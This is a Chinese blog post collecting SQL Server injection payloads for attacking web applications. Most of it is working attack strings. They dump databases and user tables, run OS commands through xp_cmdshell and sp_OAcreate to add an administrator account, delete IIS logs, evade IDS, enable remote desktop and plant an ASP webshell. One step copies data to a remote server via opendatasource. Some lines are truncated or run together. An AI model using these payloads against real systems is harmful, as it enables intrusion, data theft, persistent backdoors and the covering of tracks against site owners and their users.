天天看點

收集的MSSQL注入筆記收集的MSSQL注入筆記

收集的MSSQL注入筆記

①判斷資料庫類型

and exists (select * from sysobjects)--傳回正常為mssql(也名sql server)

and exists (select count(*) from sysobjects)--有時上面那個語句不行就試試這個哈

②判斷資料庫版本      

and [email protected]@version--這個語句要在有回顯的模式下才可以哦

and substring((select @@version),22,4)='2008'--适用于無回顯模式,後面的2008就是資料庫版本,傳回正常就是2008的複制代碼第一條語句執行效果圖(類似):第二條語句執行效果圖:(如果是2008的話就傳回正常)

③擷取所有資料庫的個數 (一下3條語句可供選擇使用)   

1. and 1=(select quotename(count(name)) from master..sysdatabases)--

2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --

3. and 1=(select str(coun、    and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--

    and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --

    and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --

說明:dbid從1-4的資料庫一般為系統資料庫.

⑤擷取資料庫 (該語句是一次性擷取全部資料庫的,且語句隻适合>=2005,兩條語句可供選擇使用)      

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--

    and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

⑥擷取目前資料庫  

and db_name()>0

and 1=(select db_name())--

⑦擷取目前資料庫中的表(有2個語句可供選擇使用)【下列語句可一次爆資料庫所有表(隻限于mssql2005及以上版本)】

    and 1=(select quotename(name) from 資料庫名..sysobjects where xtype='U' FOR XML PATH(''))-- 

    and 1=(select '|'%2bname%2b'|' from 資料庫名..sysobjects where xtype='U' FOR XML PATH(''))--複制代碼測試效果圖:得到 3個敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup

⑧獲得表裡的列一次爆指定表的所有列(隻限于mssql2005及以上版本):   

and 1=(select quotename(name) from 資料庫名..syscolumns where id =(select id from 資料庫名..sysobjects where name='指定表名') FOR XML PATH(''))-- 

    and 1=(select '|'%2bname%2b'|' from 資料庫名..syscolumns where id =(select id from 資料庫名..sysobjects where name='指定表名') FOR XML PATH(''))--

效果圖:既然有賬戶資訊,我就不管是不是管理者的的了,我文章的目的不是為了得到管理者的資訊,隻是為了示範可以通過這個方法來擷取相關資訊。

⑨擷取指定資料庫中的表的列的資料庫逐條爆指定表的所有字段的資料(隻限于mssql2005及以上版本):  

  and 1=(select top 1 * from 指定資料庫..指定表名 where排除條件 FOR XML PATH(''))--

一次性爆N條所有字段的資料(隻限于mssql2005及以上版本):

    and 1=(select top N * from 指定資料庫..指定表名 FOR XML PATH(''))--複制代碼第一條語句:and 1=(select top 1 * from 指定資料庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結果出來會更加好,如:where and name like '%user%'  就會篩選出含有user關鍵詞的出來。用在篩選表段時很不錯。

注意:在使用一次擷取資料庫資訊的語句時,請使用火狐浏覽器,筆者測試 IE8、360急速浏覽器、獵豹浏覽器均卡死,火狐浏覽器也會導緻出現幾秒鐘的卡死,彈出框框,我們點選“停止腳本”就會得到初步解決。!!!!!!!!!!!!!!!!!!!!至此,我們已經得到了賬戶資訊了,至于管理者的呢,哈哈,大家自行測試時換表啥的就好了。

and exists (select * from sysobjects) //判斷是否是MSSQL

and exists(select * from tableName) //判斷某表是否存在..tableName為表名

and 1=(select @@VERSION) //MSSQL版本

And 1=(select db_name()) //目前資料庫名

and 1=(select @@servername) //本地服務名

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理者

and 1=(Select IS_MEMBER('db_owner')) //判斷是否是庫權限

and 1= (Select HAS_DBACCESS('master')) //判斷是否有庫讀取權限

and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴庫名DBID為1,2,3....

;declare @d int //是否支援多行

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //判斷XP_CMDSHELL是否存在

and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread') //檢視XP_regread擴充存儲過程是不是已經被删除

添加和删除一個SA權限的使用者test:(需要SA權限)

exec master.dbo.sp_addlogin test,password

exec master.dbo.sp_addsrvrolemember test,sysadmin

停掉或激活某個服務。 (需要SA權限)

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

暴網站目錄

create table labeng(lala nvarchar(255), id int)

DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);

and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)

—————————————————————————————————————————————————————

DOS下開3389 并修改端口号

sc config termservice start= auto

net start termservice

//允許外連

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f

//該3389端口到80

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /f

SQL Server

判斷是否可注射:

http://www.targer.com/article.asp?id=6

http://www.targer.com/article.asp?id=6'

http://www.targer.com/article.asp?id=6 and 1=1

http://www.targer.com/article.asp?id=6 and 1=2

http://www.targer.com/article.asp?action=value' and 1=1

http://www.targer.com/article.asp?action=value' and 1=2

searchpoints%' and 1=1

searchpoints%' and 1=2

确定資料庫類型:

http://www.targer.com/article.asp?id=6 and user>0

http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0

查詢目前使用者資料資訊:

article.asp?id=6 having 1=1--

暴目前表中的列:

article.asp?id=6 group by admin.username having 1=1--

article.asp?id=6 group by admin.username,admin.password having 1=1--

暴任意表和列:

and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1

and (select top col_name(object_id('admin'),N) from sysobjects)>1

暴資料庫資料:

and (select top 1 password from admin where id=N)>1

修改資料庫中的資料:

;update admin set password='oooooo' where username='xxx'

增添資料庫中的資料:

;insert into admin values (xxx,oooooo)--

删資料庫:

;drop database webdata

擷取目前資料庫使用者名:and user>0

擷取目前資料庫名:and db_name()>0

擷取資料庫版本:and (select @@version)>0

判斷是否支援多句查詢:;declare @a int--

判斷是否支援子查詢:and (select count(1) from [sysobjects])>=0

資料庫的擴充存儲過程:exec master..xp_cmdshell

檢視伺服器C槽目錄:;exec_master..xp_cmdshell 'dir c:\'

判斷擴充存儲過程是否存在:and select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

恢複擴充存儲過程:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'

删除擴充存儲過程:;exec sp_dropextendedproc 'xp_cmdshell'

在MSSQL2000中提供了一些函數用于通路OLE對象間接擷取權限:

;declare @s int

;exec sp_oacreat 'wscript.shell',@s

;exec master..spoamethod @s,'run',null,'cmd.exe/c dir c:\'

判斷目前資料庫使用者名是否擁有比較高的權限:

and 1=(select is_srvrolemember('sysadmin'))

and 1=(select is_srvrolemember('serveradmin'))

and 1=(select is_srvrolemember('setupadmin'))

and 1=(select is_srvrolemember('securityadmin'))

and 1=(select is_srvrolemember('diskadmin'))

and 1=(select is_srvrolemember('bulkadmin'))

判斷目前資料庫使用者名是否為DB_OWNER:

and 1=(select is_member('db_owner'))

在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER資料庫系統中的所有資料庫資訊,隻需要PUBLIC權限就可以對此表進行SELECT操作:

and (select top 1 name from master.dbo.sysdatabase order by dbid)>0

and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0

删除日志記錄:

;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'

替換日志記錄:

;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'

擷取WEB路徑:

;declare @shell int

;exec master..sp_oamethod 'wscript.shell',@shell out

;exec master..sp_oamethod @shell,'run',null,'cmd.exe/c dir /s d:/index.asp >c:/log.txt

利用XP_CMDSHELL搜尋:

;exec master..xp_cmdshell 'dir /s d:/index.asp'

顯示伺服器網站配置資訊指令:

cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root

cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root

利用XP_REGREAD可用PUBLIC權限讀取:

;exec master.dbo.xp_regread

hkey_local_machine,

'system\currentcontrolset\services\w3svc\parameters\virtual roots\'

'/'

SQLSERVER下的進階技術可以參考閱讀曾雲好所著的精通腳本黑客第五章。

3、DSqlHelper

檢測權限SYSADMIN:

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。

檢測XP_CMDSHELL(CMD指令):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')

檢測XP_REGREAD(系統資料庫讀取功能):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')

檢測SP_MAKEWEBTASK(備份功能):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')

檢測SP_ADDEXTENDEDPROC:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')

檢測XP_SUBDIRS讀子目錄:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')

檢測XP_DIRTREE讀子目錄:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')

修改内容:

; UPDATE 表名 set 字段=内容 where 1=1

XP_CMDSHELL檢測:

;exec master..xp_cmdshell 'dir c:\'

修複XP_CMDSHELL:

;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

用XP_CMDSHELL添加使用者hacker:

;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'

XP_CMDSHELL把使用者hacker加到ADMIN組:

;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'

建立表test:

;create table [dbo].[test] ([dstr][char](255));

檢測表段test:

and exists (select * from test)

讀取WEB的位置(讀系統資料庫):

;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',@result output insert into test (dstr) values(@result);--

爆出WEB的絕對路徑(顯錯模式):

and 1=(select count(*) from test where dstr > 1)

删除表test:

;drop table test;--

建立檢視目錄的表dirs:

;create table dirs(paths varchar(100), id int)

把檢視目錄的内容加入表dirs:

;insert dirs exec master.dbo.xp_dirtree 'c:\'

爆目錄的内容dirs:

and 0<>(select top 1 paths from dirs)

備份資料庫DATANAME:

declare @a sysname; set @a=db_name();backup DATANAME @a to disk='c:\inetpub\wwwroot\down.bak';--

删除表dirs:

;drop table dirs;--

建立表temp:

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

把驅動盤清單加入temp表:

;insert temp exec master.dbo.xp_availablemedia;--

删除表temp:

;delete from temp;--

建立表dirs:

;create table dirs(paths varchar(100), id int);--

獲得子目錄清單XP_SUBDIRS:

;insert dirs exec master.dbo.xp_subdirs 'c:\';--

爆出内容(顯錯模式):

and 0<>(select top 1 paths from dirs)

删除表dirs:

;delete from dirs;--

建立表dirs:

;create table dirs(paths varchar(100), id int)--

用XP_CMDSHELL檢視目錄内容:

;insert dirs exec master..xp_cmdshell 'dir c:\'

删除表dirs:

;delete from dirs;--

檢測SP_OAcreate(執行指令):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')

SP_OAcreate執行CMD指令:

;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\windows\system32\cmd.exe /c net user hacker 123456 /add'

SP_OAcreate建目錄:

;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\windows\system32\cmd.exe /c md E:\XkCmsV\webForm\1111'

建立一個虛拟目錄E盤:

;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub \wwwroot\mkwebdir.vbs -w "預設 Web 站點" -v "e","e:\"'

設定虛拟目錄E為可讀:

;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

啟動SERVER服務:

;exec master..xp_servicecontrol 'start', 'server'

繞過IDS檢測XP_CMDSHELL:

;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

開啟遠端資料庫1:

; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )

開啟遠端資料庫2:

;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'

//看看是什麼權限的

and 1=(Select IS_MEMBER('db_owner'))

And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

//檢測是否有讀取某資料庫的權限

and 1= (Select HAS_DBACCESS('master'))

And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --

數字類型

and char(124)%2Buser%2Bchar(124)=0

字元類型

' and char(124)%2Buser%2Bchar(124)=0 and ''='

搜尋類型

' and char(124)%2Buser%2Bchar(124)=0 and '%'='

爆使用者名

and user>0

' and user>0 and ''='

檢測是否為SA權限

and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

檢測是不是MSSQL資料庫

and exists (select * from sysobjects);--

檢測是否支援多行

;declare @d int;--

恢複 xp_cmdshell

;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--

select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')

//-----------------------

//      執行指令

//-----------------------

首先開啟沙盤模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然後利用jet.oledb執行系統指令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

執行指令

;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--

EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'

判斷xp_cmdshell擴充存儲過程是否存在:

http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

寫系統資料庫

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

REG_SZ

讀系統資料庫

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

讀取目錄内容

exec master..xp_dirtree 'c:\winnt\system32\',1,1

資料庫備份

backup database pubs to disk = 'c:\123.bak'

//爆出長度

And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--

更改sa密碼方法:用sql綜合利用工具連接配接後,執行指令:

exec sp_password NULL,'新密碼','sa'

添加和删除一個SA權限的使用者test:

exec master.dbo.sp_addlogin test,ptlove

exec master.dbo.sp_addsrvrolemember test,sysadmin

删除擴充存儲過過程xp_cmdshell的語句: 

exec sp_dropextendedproc 'xp_cmdshell'

添加擴充存儲過過程

EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 

GRANT exec On xp_proxiedadata TO public

停掉或激活某個服務。

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

dbo.xp_subdirs

隻列某個目錄下的子目錄。

xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'

dbo.xp_makecab

将目标多個檔案壓縮到某個目标檔案之内。

所有要壓縮的檔案都可以接在參數列的最後方,以逗号隔開。

dbo.xp_makecab

'c:\test.cab','mszip',1,

'C:\Inetpub\wwwroot\SQLInject\login.asp',

'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'

xp_terminate_process

停掉某個執行中的程式,但賦予的參數是 Process ID。

利用”工作管理者”,透過選單「檢視」-「選擇字段」勾選 pid,就可以看到每個執行程式的 Process ID

xp_terminate_process 2484

xp_unpackcab

解開壓縮檔。

xp_unpackcab 'c:\test.cab','c:\temp',1

某 機,安裝了radmin,密碼被修改了,regedit.exe不知道被删除了還是被改名了,net.exe不存在,沒有辦法使用 regedit /e 導入注冊檔案,但是mssql是sa權限,使用如下命 令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0 \Server \Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即 可修改密碼為12345678。如果要修改端口 值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0 \Server\Parameters','port','REG_BINARY',0xd20400 則端口值改為1234

create database lcx;

Create TABLE ku(name nvarchar(256) null);

Create TABLE biao(id int NULL,name nvarchar(256) null);

//得到資料庫名

insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases

//在Master中建立表,看看權限怎樣

Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--

用 sp_makewebtask直接在web目錄裡寫入一句話馬:

http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--

//更新表内容

Update films SET kind = 'Dramatic' Where id = 123

//删除内容

delete from table_name where Stockid = 3

posted @ 2019-02-12 10:33 卿先生 閱讀(...) 評論(...) 編輯 收藏